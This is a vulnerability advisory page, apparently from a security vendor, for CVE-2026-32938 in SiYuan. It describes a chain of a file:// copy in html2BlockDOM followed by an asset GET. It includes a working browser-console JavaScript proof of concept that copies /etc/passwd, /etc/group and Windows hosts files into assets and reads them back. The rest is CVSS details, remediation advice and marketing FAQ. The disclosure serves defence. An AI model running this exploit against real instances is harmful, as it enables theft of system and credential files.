Summary
In SiYuan, /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.
Details
1. Arbitrary local files copied into workspace
- Endpoint:
POST /api/lute/html2BlockDOM, protected only bymodel.CheckAuth; publish read-only role is not restricted. - Behavior: On desktop (
util.ContainerStd == model.Conf.System.Container), local absolute paths from<a href="file://...">in the HTML are copied to{DataDir}/assets/. - Missing check: The code does not call
util.IsSensitivePath(localPath)before copying, so any readable file (e.g./etc/passwd,~/.ssh/id_rsa) can be copied into assets.
2. Direct access to assets via GET
- Endpoint:
GET /assets/*path(kernel/server/serve.go), protected only bymodel.CheckAuth; no publish-scope or admin check. - Behavior: The path is resolved with
model.GetAssetAbsPath("assets" + path)and the file is served withhttp.ServeFile; any authenticated request (including publish visitors) can access existing asset files. - Attack chain: The visitor calls html2BlockDOM to copy a sensitive file into
data/assets/, extractsdata-href="assets/xxx"from the returned DOM, then requestsGET /assets/xxxto retrieve the file content.
PoC
// Run in the browser devtools console while on the SiYuan publish service
(async () => {
try {
// Paths below fall under util.IsSensitivePath prefixes (/etc, c:\windows\system32)
const sensitiveFiles = [
'file:///etc/passwd',
'file:///etc/group',
'file:///C:/Windows/System32/drivers/etc/hosts',
'file:///C:/Windows/System32/drivers/etc/services',
];
const dom = '<p>' + sensitiveFiles.map(f => `<a href="${f}">x</a>`).join(' ') + '</p>';
const r1 = await fetch('/api/lute/html2BlockDOM', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ dom }),
credentials: 'same-origin',
});
const { data } = await r1.json();
const paths = [...(data || '').matchAll(/data-href="(assets\/[^"]+)"/g)].map(m => m[1]);
for (const p of paths) {
const r2 = await fetch('/' + p, { credentials: 'same-origin' });
if (r2.ok) console.log('--- ' + p + ' ---\n' + (await r2.text()));
}
} catch (_) {}
})();
Impact
With only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-32938 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-32938? CVE-2026-32938 is a critical-severity path traversal vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions <= 0.0.0-20260313024916-fd6526133bb3. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-32938? CVE-2026-32938 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-32938? github.com/siyuan-note/siyuan/kernel (go) versions <= 0.0.0-20260313024916-fd6526133bb3 is affected.
- Is there a fix for CVE-2026-32938? No fixed version is listed for CVE-2026-32938 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-32938 exploitable, and should I be worried? Whether CVE-2026-32938 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-32938 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-32938? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.